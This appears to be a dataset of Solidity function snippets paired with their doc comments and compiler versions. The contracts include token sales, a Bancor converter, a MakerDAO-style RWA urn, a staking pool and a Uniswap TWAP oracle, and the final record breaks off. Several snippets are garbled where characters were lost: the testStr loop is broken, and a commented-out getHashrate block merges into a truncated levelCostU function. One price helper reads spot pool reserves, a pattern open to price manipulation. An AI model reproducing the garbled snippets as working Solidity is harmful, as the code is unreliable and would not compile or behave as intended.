"function_code": "function exists(Addresses storage self, address element) internal view returns (bool) {\r\n for (uint i = 0; i < self.size(); i++) {\r\n if (self._items[i] == element) {\r\n return true;\r\n }\r\n }\r\n return false;\r\n }", "version": "0.6.10"} {"comment": "/*function deployMinersTest(uint32 _hour, address user, uint32[] area, uint32[] period, uint32[] count) public checkWhiteList payable {\r\n require(area.length > 0);\r\n require(area.length == period.length);\r\n require(area.length == count.length);\r\n address _user = user;\r\n if (_user == address(0)) {\r\n _user = msg.sender;\r\n }\r\n \r\n \r\n checkArea(area, user);\r\n \r\n uint payment = _deployMiners(_user, _hour, area, period, count);\r\n _updateCheckPoints(_user, _hour, area, period, count);\r\n \r\n require(payment <= msg.value);\r\n remainEther[msg.sender] += (msg.value - payment);\r\n amountEther += payment;\r\n }*/", "function_code": "function _deployMiners(address _user, uint32 _hour, uint32[] memory area, uint32[] memory period, uint32[] memory count) internal returns(uint){\r\n uint payment = 0;\r\n uint32 minerCount = 0;\r\n uint32[3][72] storage _areaDeployed = areaHourDeployed[_hour];\r\n uint32[3][72] storage _userAreaDeployed = userAreaHourDeployed[_user].hour[_hour];\r\n \r\n \r\n for (uint index = 0; index < area.length; ++index) {\r\n require (period[index] == 4 || period[index] == 8 || period[index] == 24);\r\n if (period[index] == 4) {\r\n _areaDeployed[area[index]][0] += count[index];\r\n _userAreaDeployed[area[index]][0] += count[index];\r\n payment += count[index] * MINER_4_HOURS;\r\n } else if (period[index] == 8) {\r\n _areaDeployed[area[index]][1] += count[index];\r\n _userAreaDeployed[area[index]][1] += count[index];\r\n payment += count[index] * MINER_8_HOURS;\r\n } else if (period[index] == 24) {\r\n _areaDeployed[area[index]][2] += count[index];\r\n _userAreaDeployed[area[index]][2] += count[index];\r\n payment += count[index] * MINER_24_HOURS;\r\n }\r\n minerCount += count[index];\r\n DeployMiner(_user, area[index], _hour, _hour + period[index], count[index]);\r\n\r\n adjustDeployRange(area[index], _hour, _hour + period[index]);\r\n }\r\n return payment;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Override to extend the way in which ether is converted to tokens.\r\n * @param _weiAmount Value in wei to be converted into tokens\r\n * @return Number of tokens that can be purchased with the specified _weiAmount\r\n */", "function_code": "function _getTokenAmount(uint256 _weiAmount) internal returns(uint256) {\r\n if ((_weiAmount >= 500000000000000000000) && (_weiAmount < 1000000000000000000000)) {\r\n rate = 7140;\r\n } else if (_weiAmount >= 1000000000000000000000) {\r\n rate = 7650;\r\n } else if (tokensSold <= 21420000000000000000000000) {\r\n if(rate != 6120) {\r\n rate = 6120; }\r\n } else if ((tokensSold > 21420000000000000000000000) && (tokensSold <= 42304500000000000000000000)) {\r\n if(rate != 5967) {\r\n rate = 5967;}\r\n } else if ((tokensSold > 42304500000000000000000000) && (tokensSold <= 73095750000000000000000000)) {\r\n if(rate != 5865) {\r\n rate = 5865;}\r\n } else if ((tokensSold > 73095750000000000000000000) && (tokensSold <= 112365750000000000000000000)) {\r\n if(rate != 5610) {\r\n rate = 5610;}\r\n } else if ((tokensSold > 112365750000000000000000000) && (tokensSold <= 159222000000000000000000000)) {\r\n if(rate != 5355) {\r\n rate = 5355;}\r\n } else if (tokensSold > 159222000000000000000000000) {\r\n if(rate != 5100) {\r\n rate = 5100;}\r\n }\r\n return _weiAmount.mul(rate);\r\n }", "version": "0.4.23"} {"comment": "// SO - 50375", "function_code": "function testStr(string memory str) internal pure returns (bool){\r\n bytes memory b = bytes(str);\r\n if(b.length > 20|| b.length < 1) return false;\r\n\r\n for(uint i; i= 0x30 && ch <= 0x39) && //9-0\r\n !(ch >= 0x41 && ch <= 0x5A) && //A-Z\r\n !(ch >= 0x61 && ch <= 0x7A) && //a-z\r\n !(ch == 0x20) // space\r\n )\r\n return false;\r\n }\r\n\r\n return true;\r\n }", "version": "0.8.7"} {"comment": "// SO - 58341", "function_code": "function toAsciiString(address x) internal pure returns (string memory) {\r\n bytes memory s = new bytes(40);\r\n for (uint i = 0; i < 20; i++) {\r\n bytes1 b = bytes1(uint8(uint(uint160(x)) / (2**(8*(19 - i)))));\r\n bytes1 hi = bytes1(uint8(b) / 16);\r\n bytes1 lo = bytes1(uint8(b) - 16 * uint8(hi));\r\n s[2*i] = char(hi);\r\n s[2*i+1] = char(lo); \r\n }\r\n return string(s);\r\n }", "version": "0.8.7"} {"comment": "/**\n * @dev doubles pruf balance at snapshotID(1)\n */", "function_code": "function splitMyPruf() external whenNotPaused {\n require(\n hasSplit[msg.sender] == 0,\n \"SPLIT:SMP: Caller address has already been split\"\n );\n //^^^^^^^checks^^^^^^^^^\n\n uint256 balanceAtSnapshot = UTIL_TKN.balanceOfAt(msg.sender, 1);\n hasSplit[msg.sender] = 170; //mark caller address as having been split\n //^^^^^^^effects^^^^^^^^^\n\n UTIL_TKN.mint(msg.sender, balanceAtSnapshot); //mint the new tokens to caller address\n //^^^^^^^Interactions^^^^^^^^^\n }", "version": "0.8.0"} {"comment": "/**\n * @dev doubles pruf balance at snapshotID(1)\n * @param _address - address to be split\n */", "function_code": "function splitPrufAtAddress(address _address) external whenNotPaused {\n require(\n hasSplit[_address] == 0,\n \"SPLIT:SMPAA: Caller address has already been split\"\n );\n //^^^^^^^checks^^^^^^^^^\n\n uint256 balanceAtSnapshot = UTIL_TKN.balanceOfAt(_address, 1);\n hasSplit[_address] = 170; //mark caller address as having been split\n //^^^^^^^effects^^^^^^^^^\n\n UTIL_TKN.mint(_address, balanceAtSnapshot); //mint the new tokens to caller address\n //^^^^^^^Interactions^^^^^^^^^\n }", "version": "0.8.0"} {"comment": "// note this will always return 0 before update has been called successfully for the first time.", "function_code": "function consult(address token, uint amountIn) internal view returns (uint amountOut) {\r\n if (token == token0) {\r\n amountOut = price0Average.mul(amountIn).decode144();\r\n } else {\r\n require(token == token1, 'ExampleOracleSimple: INVALID_TOKEN');\r\n amountOut = price1Average.mul(amountIn).decode144();\r\n }\r\n }", "version": "0.6.6"} {"comment": "/**\n * @dev Sets `value` as the allowance of `spender` over `owner`'s tokens,\n * given `owner`'s signed approval.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `deadline` must be a timestamp in the future.\n * - `v`, `r` and `s` must be a valid signature from `owner`\n * over the EIP712-formatted function arguments.\n * - the signature must use ``owner``'s current nonce (see {nonces}).\n *\n * For more information on the signature format, see the\n * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP\n * section].\n */", "function_code": "function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external override onlyOnDeployedNetwork whenNotPaused {\n // solhint-disable-next-line\n require(deadline >= block.timestamp, \"ERC20WithPermit: EXPIRED\");\n\n bytes32 digest =\n keccak256(\n abi.encodePacked(\n \"\\x19\\x01\",\n DOMAIN_SEPARATOR,\n keccak256(\n abi.encode(\n PERMIT_TYPEHASH,\n owner,\n spender,\n value,\n nonces[owner]++,\n deadline\n )\n )\n )\n );\n\n address recoveredAddress = ecrecover(digest, v, r, s);\n require(\n recoveredAddress != address(0) && recoveredAddress == owner,\n \"ERC20WithPermit: INVALID_SIGNATURE\"\n );\n\n _approve(owner, spender, value);\n }", "version": "0.6.6"} {"comment": "// ------------------------------------------------------------------------\n// Accepts ETH and transfers ZAN tokens based on exchage rate and state\n// ------------------------------------------------------------------------", "function_code": "function () public payable {\r\n uint eth_sent = msg.value;\r\n uint tokens_amount = eth_sent.mul(exchangeRate);\r\n \r\n require(eth_sent > 0);\r\n require(exchangeRate > 0);\r\n require(stateStartDate < now && now < stateEndDate);\r\n require(balances[owner] >= tokens_amount);\r\n require(_totalSupply - (balances[owner] - tokens_amount) <= saleCap);\r\n \r\n // Don't accept ETH in the final state\r\n require(!isInFinalState);\r\n require(isInPreSaleState || isInRoundOneState || isInRoundTwoState);\r\n \r\n balances[owner] = balances[owner].sub(tokens_amount);\r\n balances[msg.sender] = balances[msg.sender].add(tokens_amount);\r\n emit PurchaseZanTokens(msg.sender, eth_sent, tokens_amount);\r\n }", "version": "0.4.21"} {"comment": "// ------------------------------------------------------------------------\n// Switches crowdsale stages: PreSale -> Round One -> Round Two\n// ------------------------------------------------------------------------", "function_code": "function switchCrowdSaleStage() external onlyOwner {\r\n require(!isInFinalState && !isInRoundTwoState);\r\n \r\n if (!isInPreSaleState) {\r\n isInPreSaleState = true;\r\n exchangeRate = 1500;\r\n saleCap = (3 * 10**6) * (uint(10) ** decimals);\r\n emit SwitchCrowdSaleStage(\"PreSale\", exchangeRate);\r\n }\r\n else if (!isInRoundOneState) {\r\n isInRoundOneState = true;\r\n exchangeRate = 1200;\r\n saleCap = saleCap + ((4 * 10**6) * (uint(10) ** decimals));\r\n emit SwitchCrowdSaleStage(\"RoundOne\", exchangeRate);\r\n }\r\n else if (!isInRoundTwoState) {\r\n isInRoundTwoState = true;\r\n exchangeRate = 900;\r\n saleCap = saleCap + ((5 * 10**6) * (uint(10) ** decimals));\r\n emit SwitchCrowdSaleStage(\"RoundTwo\", exchangeRate);\r\n }\r\n \r\n stateStartDate = now + 5 minutes;\r\n stateEndDate = stateStartDate + 7 days;\r\n }", "version": "0.4.21"} {"comment": "/// @dev Transfers tokens to a specified address with additional data if the recipient is a contact.\n/// @param to The address to transfer tokens to.\n/// @param value The amount of tokens to be transferred.\n/// @param data The extra data to be passed to the receiving contract.\n/// @return A boolean that indicates if the operation was successful.", "function_code": "function transferAndCall(address to, uint256 value, bytes data) external canTransfer returns (bool) {\r\n require(to != address(this));\r\n require(super.transfer(to, value));\r\n emit Transfer(msg.sender, to, value, data);\r\n if (isContract(to)) {\r\n require(contractFallback(msg.sender, to, value, data));\r\n }\r\n return true;\r\n }", "version": "0.4.26"} {"comment": "/// @dev Transfers tokens from one address to another.\n/// @param from The address to transfer tokens from.\n/// @param to The address to transfer tokens to.\n/// @param value The amount of tokens to be transferred.\n/// @return A boolean that indicates if the operation was successful.", "function_code": "function transferFrom(address from, address to, uint256 value) public canTransfer returns (bool) {\r\n require(super.transferFrom(from, to, value));\r\n if (isContract(to) && !contractFallback(from, to, value, new bytes(0))) {\r\n if (to == _bridgeContract) {\r\n revert();\r\n }\r\n emit ContractFallbackCallFailed(from, to, value);\r\n }\r\n return true;\r\n }", "version": "0.4.26"} {"comment": "/// @dev Transfers tokens to a specified addresses (optimized version for initial sending tokens).\n/// @param recipients Addresses to transfer tokens to.\n/// @param values Amounts of tokens to be transferred.\n/// @return A boolean that indicates if the operation was successful.", "function_code": "function airdrop(address[] recipients, uint256[] values) public canTransfer returns (bool) {\r\n require(recipients.length == values.length);\r\n uint256 senderBalance = _balances[msg.sender];\r\n for (uint256 i = 0; i < values.length; i++) {\r\n uint256 value = values[i];\r\n address to = recipients[i];\r\n require(senderBalance >= value);\r\n if (msg.sender != recipients[i]) {\r\n senderBalance = senderBalance - value;\r\n _balances[to] += value;\r\n }\r\n emit Transfer(msg.sender, to, value);\r\n }\r\n _balances[msg.sender] = senderBalance;\r\n return true;\r\n }", "version": "0.4.26"} {"comment": "/// @dev Transfers funds stored on the token contract to specified recipient (required by token bridge).", "function_code": "function claimTokens(address token, address to) public onlyOwnerOrBridgeContract {\r\n require(to != address(0));\r\n if (token == address(0)) {\r\n to.transfer(address(this).balance);\r\n } else {\r\n ERC20 erc20 = ERC20(token);\r\n uint256 balance = erc20.balanceOf(address(this));\r\n require(erc20.transfer(to, balance));\r\n }\r\n }", "version": "0.4.26"} {"comment": "// --- administration ---", "function_code": "function file(bytes32 what, address data) external auth {\r\n if (what == \"outputConduit\") { outputConduit = data; }\r\n else if (what == \"jug\") { jug = JugAbstract(data); }\r\n else revert(\"RwaUrn/unrecognised-param\");\r\n emit File(what, data);\r\n }", "version": "0.5.12"} {"comment": "// --- cdp operation ---\n// n.b. that the operator must bring the gem", "function_code": "function lock(uint256 wad) external operator {\r\n require(wad <= 2**255 - 1, \"RwaUrn/overflow\");\r\n DSTokenAbstract(gemJoin.gem()).transferFrom(msg.sender, address(this), wad);\r\n // join with address this\r\n gemJoin.join(address(this), wad);\r\n vat.frob(gemJoin.ilk(), address(this), address(this), address(this), int(wad), 0);\r\n emit Lock(msg.sender, wad);\r\n }", "version": "0.5.12"} {"comment": "// n.b. DAI can only go to the output conduit", "function_code": "function draw(uint256 wad) external operator {\r\n require(outputConduit != address(0));\r\n bytes32 ilk = gemJoin.ilk();\r\n jug.drip(ilk);\r\n (,uint256 rate,,,) = vat.ilks(ilk);\r\n uint256 dart = divup(mul(RAY, wad), rate);\r\n require(dart <= 2**255 - 1, \"RwaUrn/overflow\");\r\n vat.frob(ilk, address(this), address(this), address(this), 0, int(dart));\r\n daiJoin.exit(outputConduit, wad);\r\n emit Draw(msg.sender, wad);\r\n }", "version": "0.5.12"} {"comment": "// n.b. anyone can wipe", "function_code": "function wipe(uint256 wad) external {\r\n daiJoin.join(address(this), wad);\r\n bytes32 ilk = gemJoin.ilk();\r\n jug.drip(ilk);\r\n (,uint256 rate,,,) = vat.ilks(ilk);\r\n uint256 dart = mul(RAY, wad) / rate;\r\n require(dart <= 2 ** 255, \"RwaUrn/overflow\");\r\n vat.frob(ilk, address(this), address(this), address(this), 0, -int(dart));\r\n emit Wipe(msg.sender, wad);\r\n }", "version": "0.5.12"} {"comment": "/**\n * @dev Returns the amount of ether in wei that are equivalent to 1 unit (10 ** decimals) of asset\n * @param asset quoted currency\n * @return price in ether\n */", "function_code": "function getAssetToEthRate(address asset) public view returns (uint) {\n\n if (asset == ETH) {\n return 1 ether;\n }\n\n address aggregatorAddress = aggregators[asset];\n\n if (aggregatorAddress == address(0)) {\n revert(\"PriceFeedOracle: Oracle asset not found\");\n }\n\n int rate = Aggregator(aggregatorAddress).latestAnswer();\n require(rate > 0, \"PriceFeedOracle: Rate must be > 0\");\n\n return uint(rate);\n }", "version": "0.5.17"} {"comment": "// This function allows governance to take unsupported tokens out of the\n// contract, since this one exists longer than the other pools.\n// This is in an effort to make someone whole, should they seriously\n// mess up. There is no guarantee governance will vote to return these.\n// It also allows for removal of airdropped tokens.", "function_code": "function governanceRecoverUnsupported(IERC20 _token, uint256 amount, address to)\r\n external\r\n {\r\n // only gov\r\n require(msg.sender == owner(), \"!governance\");\r\n // cant take staked asset\r\n require(_token != uni_lp, \"uni_lp\");\r\n // cant take reward asset\r\n require(_token != yam, \"yam\");\r\n\r\n // transfer to\r\n _token.safeTransfer(to, amount);\r\n }", "version": "0.5.17"} {"comment": "/**\r\n @dev constructor\r\n \r\n @param _token smart token governed by the converter\r\n @param _registry address of a contract registry contract\r\n @param _maxConversionFee maximum conversion fee, represented in ppm\r\n @param _connectorToken optional, initial connector, allows defining the first connector at deployment time\r\n @param _connectorWeight optional, weight for the initial connector\r\n */", "function_code": "function BancorConverter(\r\n ISmartToken _token,\r\n IContractRegistry _registry,\r\n uint32 _maxConversionFee,\r\n IERC20Token _connectorToken,\r\n uint32 _connectorWeight\r\n )\r\n public\r\n SmartTokenController(_token)\r\n validAddress(_registry)\r\n validMaxConversionFee(_maxConversionFee)\r\n {\r\n registry = _registry;\r\n IContractFeatures features = IContractFeatures(registry.getAddress(ContractIds.CONTRACT_FEATURES));\r\n\r\n // initialize supported features\r\n if (features != address(0))\r\n features.enableFeatures(FeatureIds.CONVERTER_CONVERSION_WHITELIST, true);\r\n\r\n maxConversionFee = _maxConversionFee;\r\n\r\n if (_connectorToken != address(0))\r\n addConnector(_connectorToken, _connectorWeight, false);\r\n }", "version": "0.4.21"} {"comment": "/**\r\n @dev defines a new connector for the token\r\n can only be called by the owner while the converter is inactive\r\n \r\n @param _token address of the connector token\r\n @param _weight constant connector weight, represented in ppm, 1-1000000\r\n @param _enableVirtualBalance true to enable virtual balance for the connector, false to disable it\r\n */", "function_code": "function addConnector(IERC20Token _token, uint32 _weight, bool _enableVirtualBalance)\r\n public\r\n ownerOnly\r\n inactive\r\n validAddress(_token)\r\n notThis(_token)\r\n validConnectorWeight(_weight)\r\n {\r\n require(_token != token && !connectors[_token].isSet && totalConnectorWeight + _weight <= MAX_WEIGHT); // validate input\r\n\r\n connectors[_token].virtualBalance = 0;\r\n connectors[_token].weight = _weight;\r\n connectors[_token].isVirtualBalanceEnabled = _enableVirtualBalance;\r\n connectors[_token].isPurchaseEnabled = true;\r\n connectors[_token].isSet = true;\r\n connectorTokens.push(_token);\r\n totalConnectorWeight += _weight;\r\n }", "version": "0.4.21"} {"comment": "/**\r\n @dev updates one of the token connectors\r\n can only be called by the owner\r\n \r\n @param _connectorToken address of the connector token\r\n @param _weight constant connector weight, represented in ppm, 1-1000000\r\n @param _enableVirtualBalance true to enable virtual balance for the connector, false to disable it\r\n @param _virtualBalance new connector's virtual balance\r\n */", "function_code": "function updateConnector(IERC20Token _connectorToken, uint32 _weight, bool _enableVirtualBalance, uint256 _virtualBalance)\r\n public\r\n ownerOnly\r\n validConnector(_connectorToken)\r\n validConnectorWeight(_weight)\r\n {\r\n Connector storage connector = connectors[_connectorToken];\r\n require(totalConnectorWeight - connector.weight + _weight <= MAX_WEIGHT); // validate input\r\n\r\n totalConnectorWeight = totalConnectorWeight - connector.weight + _weight;\r\n connector.weight = _weight;\r\n connector.isVirtualBalanceEnabled = _enableVirtualBalance;\r\n connector.virtualBalance = _virtualBalance;\r\n }", "version": "0.4.21"} {"comment": "/**\r\n @dev returns the expected return for converting a specific amount of _fromToken to _toToken\r\n \r\n @param _fromToken ERC20 token to convert from\r\n @param _toToken ERC20 token to convert to\r\n @param _amount amount to convert, in fromToken\r\n \r\n @return expected conversion return amount\r\n */", "function_code": "function getReturn(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount) public view returns (uint256) {\r\n require(_fromToken != _toToken); // validate input\r\n\r\n // conversion between the token and one of its connectors\r\n if (_toToken == token)\r\n return getPurchaseReturn(_fromToken, _amount);\r\n else if (_fromToken == token)\r\n return getSaleReturn(_toToken, _amount);\r\n\r\n // conversion between 2 connectors\r\n return getCrossConnectorReturn(_fromToken, _toToken, _amount);\r\n }", "version": "0.4.21"} {"comment": "/**\r\n @dev returns the expected return for buying the token for a connector token\r\n \r\n @param _connectorToken connector token contract address\r\n @param _depositAmount amount to deposit (in the connector token)\r\n \r\n @return expected purchase return amount\r\n */", "function_code": "function getPurchaseReturn(IERC20Token _connectorToken, uint256 _depositAmount)\r\n public\r\n view\r\n active\r\n validConnector(_connectorToken)\r\n returns (uint256)\r\n {\r\n Connector storage connector = connectors[_connectorToken];\r\n require(connector.isPurchaseEnabled); // validate input\r\n\r\n uint256 tokenSupply = token.totalSupply();\r\n uint256 connectorBalance = getConnectorBalance(_connectorToken);\r\n IBancorFormula formula = IBancorFormula(registry.getAddress(ContractIds.BANCOR_FORMULA));\r\n uint256 amount = formula.calculatePurchaseReturn(tokenSupply, connectorBalance, connector.weight, _depositAmount);\r\n\r\n // return the amount minus the conversion fee\r\n return getFinalAmount(amount, 1);\r\n }", "version": "0.4.21"} {"comment": "/**\r\n @dev returns the expected return for selling the token for one of its connector tokens\r\n \r\n @param _connectorToken connector token contract address\r\n @param _sellAmount amount to sell (in the smart token)\r\n \r\n @return expected sale return amount\r\n */", "function_code": "function getSaleReturn(IERC20Token _connectorToken, uint256 _sellAmount)\r\n public\r\n view\r\n active\r\n validConnector(_connectorToken)\r\n returns (uint256)\r\n {\r\n Connector storage connector = connectors[_connectorToken];\r\n uint256 tokenSupply = token.totalSupply();\r\n uint256 connectorBalance = getConnectorBalance(_connectorToken);\r\n IBancorFormula formula = IBancorFormula(registry.getAddress(ContractIds.BANCOR_FORMULA));\r\n uint256 amount = formula.calculateSaleReturn(tokenSupply, connectorBalance, connector.weight, _sellAmount);\r\n\r\n // return the amount minus the conversion fee\r\n return getFinalAmount(amount, 1);\r\n }", "version": "0.4.21"} {"comment": "/**\r\n @dev returns the expected return for selling one of the connector tokens for another connector token\r\n \r\n @param _fromConnectorToken contract address of the connector token to convert from\r\n @param _toConnectorToken contract address of the connector token to convert to\r\n @param _sellAmount amount to sell (in the from connector token)\r\n \r\n @return expected sale return amount (in the to connector token)\r\n */", "function_code": "function getCrossConnectorReturn(IERC20Token _fromConnectorToken, IERC20Token _toConnectorToken, uint256 _sellAmount)\r\n public\r\n view\r\n active\r\n validConnector(_fromConnectorToken)\r\n validConnector(_toConnectorToken)\r\n returns (uint256)\r\n {\r\n Connector storage fromConnector = connectors[_fromConnectorToken];\r\n Connector storage toConnector = connectors[_toConnectorToken];\r\n require(toConnector.isPurchaseEnabled); // validate input\r\n\r\n uint256 fromConnectorBalance = getConnectorBalance(_fromConnectorToken);\r\n uint256 toConnectorBalance = getConnectorBalance(_toConnectorToken);\r\n\r\n IBancorFormula formula = IBancorFormula(registry.getAddress(ContractIds.BANCOR_FORMULA));\r\n uint256 amount = formula.calculateCrossConnectorReturn(fromConnectorBalance, fromConnector.weight, toConnectorBalance, toConnector.weight, _sellAmount);\r\n\r\n // return the amount minus the conversion fee\r\n // the fee is higher (magnitude = 2) since cross connector conversion equals 2 conversions (from / to the smart token)\r\n return getFinalAmount(amount, 2);\r\n }", "version": "0.4.21"} {"comment": "/**\r\n @dev buys the token by depositing one of its connector tokens\r\n \r\n @param _connectorToken connector token contract address\r\n @param _depositAmount amount to deposit (in the connector token)\r\n @param _minReturn if the conversion results in an amount smaller than the minimum return - it is cancelled, must be nonzero\r\n \r\n @return buy return amount\r\n */", "function_code": "function buy(IERC20Token _connectorToken, uint256 _depositAmount, uint256 _minReturn) internal returns (uint256) {\r\n uint256 amount = getPurchaseReturn(_connectorToken, _depositAmount);\r\n // ensure the trade gives something in return and meets the minimum requested amount\r\n require(amount != 0 && amount >= _minReturn);\r\n\r\n // update virtual balance if relevant\r\n Connector storage connector = connectors[_connectorToken];\r\n if (connector.isVirtualBalanceEnabled)\r\n connector.virtualBalance = safeAdd(connector.virtualBalance, _depositAmount);\r\n\r\n // transfer funds from the caller in the connector token\r\n assert(_connectorToken.transferFrom(msg.sender, this, _depositAmount));\r\n // issue new funds to the caller in the smart token\r\n token.issue(msg.sender, amount);\r\n\r\n // calculate conversion fee and dispatch the conversion event\r\n uint256 feeAmount = safeSub(amount, getFinalAmount(amount, 1));\r\n dispatchConversionEvent(_connectorToken, token, _depositAmount, amount, feeAmount);\r\n\r\n // dispatch price data update for the smart token/connector\r\n emit PriceDataUpdate(_connectorToken, token.totalSupply(), getConnectorBalance(_connectorToken), connector.weight);\r\n return amount;\r\n }", "version": "0.4.21"} {"comment": "/**\r\n @dev helper, dispatches the Conversion event\r\n \r\n @param _fromToken ERC20 token to convert from\r\n @param _toToken ERC20 token to convert to\r\n @param _amount amount purchased/sold (in the source token)\r\n @param _returnAmount amount returned (in the target token)\r\n */", "function_code": "function dispatchConversionEvent(IERC20Token _fromToken, IERC20Token _toToken, uint256 _amount, uint256 _returnAmount, uint256 _feeAmount) private {\r\n // fee amount is converted to 255 bits -\r\n // negative amount means the fee is taken from the source token, positive amount means its taken from the target token\r\n // currently the fee is always taken from the target token\r\n // since we convert it to a signed number, we first ensure that it's capped at 255 bits to prevent overflow\r\n assert(_feeAmount <= 2 ** 255);\r\n emit Conversion(_fromToken, _toToken, msg.sender, _amount, _returnAmount, int256(_feeAmount));\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * @dev get '_account' stakes by page\r\n */", "function_code": "function getStakes(address _account, uint _index, uint _offset) external view returns (StakeSet.Item[] memory items) {\r\n uint totalSize = userOrders(_account);\r\n require(0 < totalSize && totalSize > _index, \"getStakes: 0 < totalSize && totalSize > _index\");\r\n uint offset = _offset;\r\n if (totalSize < _index + offset) {\r\n offset = totalSize - _index;\r\n }\r\n\r\n items = new StakeSet.Item[](offset);\r\n for (uint i = 0; i < offset; i++) {\r\n items[i] = _stakeOf[_account].at(_index + i);\r\n }\r\n }", "version": "0.5.17"} {"comment": "// todo: get token usdt price from swap", "function_code": "function getUSDTPrice(address _token) public view returns (uint) {\r\n\r\n if (payToken == _token) {return 1 ether;}\r\n (bool success, bytes memory returnData) = lpAddress[_token].staticcall(abi.encodeWithSignature(\"getReserves()\"));\r\n if (success) {\r\n (uint112 reserve0, uint112 reserve1, ) = abi.decode(returnData, (uint112, uint112, uint32));\r\n uint DECIMALS = 10**18;\r\n if(_token==aToken){\r\n DECIMALS = 10**6;\r\n //return uint(reserve1).mul(DECIMALS).div(uint(reserve0));\r\n }\r\n //return uint(reserve0).mul(DECIMALS).div(uint(reserve1));\r\n return uint(reserve1).mul(DECIMALS).div(uint(reserve0));\r\n }\r\n\r\n return 0;\r\n }", "version": "0.5.17"} {"comment": "// function getHashrate(uint256 staticHashrate,uint m) private pure returns (uint256 hashrate) {\n// if(m==0){\n// hashrate = staticHashrate.mul(18).div(100);\n// }else if(m==1){\n// hashrate = staticHashrate.mul(16).div(100);\n// }else if(m==2){\n// hashrate = staticHashrate.mul(14).div(100);\n// }else if(m==3){\n// hashrate = staticHashrate.mul(12).div(100);\n// }else if(m==4){\n// hashrate = staticHashrate.mul(10).div(100);\n// }else if(40){\n// uint256 hrate = getHashrate(staticHashrate,m);\n// _dynamic_hashrate[arr[m]]=_dynamic_hashrate[arr[m]].add(hrate);\n// totalHtate = totalHtate.add(hrate);\n// address[] memory mygenerationarr=_mygeneration[arr[m]];\n// for(uint n = 0;nvip, \"levelCostU: vip false\");\r\n if(value==1){\r\n u=100;\r\n }else if(value==2){\r\n if(vip==0){\r\n u=300;\r\n }else{\r\n u=200;\r\n }\r\n }else if(value==3){\r\n if(vip==0){\r\n u=500;\r\n }else if(vip==1){\r\n u=400;\r\n }else{\r\n u=200;\r\n }\r\n }else if(value==4){\r\n if(vip==0){\r\n u=700;\r\n }else if(vip==1){\r\n u=600;\r\n }else if(vip==2){\r\n u=400;\r\n }else{\r\n u=200;\r\n }\r\n }else if(value==5){\r\n if(vip==0){\r\n u=1000;\r\n }else if(vip==1){\r\n u=900;\r\n }else if(vip==2){\r\n u=700;\r\n }else if(vip==3){\r\n u=500;\r\n }else{\r\n u=300;\r\n }\r\n }else{\r\n if(vip==0){\r\n u=1500;\r\n }else if(vip==1){\r\n u=1400;\r\n }else if(vip==2){\r\n u=1200;\r\n }else if(vip==3){\r\n u=1000;\r\n }else if(vip==4){\r\n u=800;\r\n }else{\r\n u=500;\r\n }\r\n }\r\n }", "version": "0.5.17"} {"comment": "// https://uniswap.org/docs/v2/smart-contract-integration/getting-pair-addresses/", "function_code": "function _pairFor(address _factory, address tokenA, address tokenB) internal pure returns (address pair) {\n\n // sort tokens\n (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);\n\n require(token0 != token1, \"TWAP: identical addresses\");\n require(token0 != address(0), \"TWAP: zero address\");\n\n pair = address(uint(keccak256(abi.encodePacked(\n hex'ff',\n _factory,\n keccak256(abi.encodePacked(token0, token1)),\n hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'\n ))));\n }", "version": "0.5.17"} {"comment": "/* update */", "function_code": "function update(address[] calldata pairs) external {\n\n for (uint i = 0; i < pairs.length; i++) {\n\n // note: not reusing canUpdate() because we need the bucket variable\n address pair = pairs[i];\n uint index = timestampToIndex(block.timestamp);\n Bucket storage bucket = buckets[pair][index];\n\n if (block.timestamp - bucket.timestamp < periodSize) {\n continue;\n }\n\n (uint price0Cumulative, uint price1Cumulative,) = UniswapV2OracleLibrary.currentCumulativePrices(pair);\n bucket.timestamp = block.timestamp;\n bucket.price0Cumulative = price0Cumulative;\n bucket.price1Cumulative = price1Cumulative;\n\n emit Updated(pair, block.timestamp, price0Cumulative, price1Cumulative);\n }\n }", "version": "0.5.17"} {"comment": "/* consult */", "function_code": "function _getCumulativePrices(\n address tokenIn,\n address tokenOut\n ) internal view returns (uint priceCumulativeStart, uint priceCumulativeEnd, uint timeElapsed) {\n\n uint currentIndex = timestampToIndex(block.timestamp);\n uint firstBucketIndex = (currentIndex + 1) % periodsPerWindow;\n\n address pair = _pairFor(factory, tokenIn, tokenOut);\n Bucket storage firstBucket = buckets[pair][firstBucketIndex];\n\n timeElapsed = block.timestamp - firstBucket.timestamp;\n require(timeElapsed <= windowSize, \"TWAP: missing historical reading\");\n require(timeElapsed >= windowSize - periodSize * 2, \"TWAP: unexpected time elapsed\");\n\n (uint price0Cumulative, uint price1Cumulative,) = UniswapV2OracleLibrary.currentCumulativePrices(pair);\n\n if (tokenIn < tokenOut) {\n return (firstBucket.price0Cumulative, price0Cumulative, timeElapsed);\n }\n\n return (firstBucket.price1Cumulative, price1Cumulative, timeElapsed);\n }", "version": "0.5.17"} {"comment": "/**\n * @dev Returns the amount out corresponding to the amount in for a given token using the\n * @dev moving average over the time range [now - [windowSize, windowSize - periodSize * 2], now]\n * @dev update must have been called for the bucket corresponding to timestamp `now - windowSize`\n */", "function_code": "function consult(address tokenIn, uint amountIn, address tokenOut) external view returns (uint amountOut) {\n\n uint pastPriceCumulative;\n uint currentPriceCumulative;\n uint timeElapsed;\n\n (pastPriceCumulative, currentPriceCumulative, timeElapsed) = _getCumulativePrices(tokenIn, tokenOut);\n\n return _computeAmountOut(\n pastPriceCumulative,\n currentPriceCumulative,\n timeElapsed,\n amountIn\n );\n }", "version": "0.5.17"} {"comment": "/** @dev Calls createDispute function of the specified arbitrator to create a dispute.\r\n * @param _arbitrator The arbitrator of prospective dispute.\r\n * @param _arbitratorExtraData Extra data for the arbitrator of prospective dispute.\r\n * @param _metaevidenceURI Link to metaevidence of prospective dispute.\r\n */", "function_code": "function createDispute(Arbitrator _arbitrator, bytes calldata _arbitratorExtraData, string calldata _metaevidenceURI) external payable {\r\n uint arbitrationCost = _arbitrator.arbitrationCost(_arbitratorExtraData);\r\n require(msg.value >= arbitrationCost, \"Insufficient message value.\");\r\n uint disputeID = 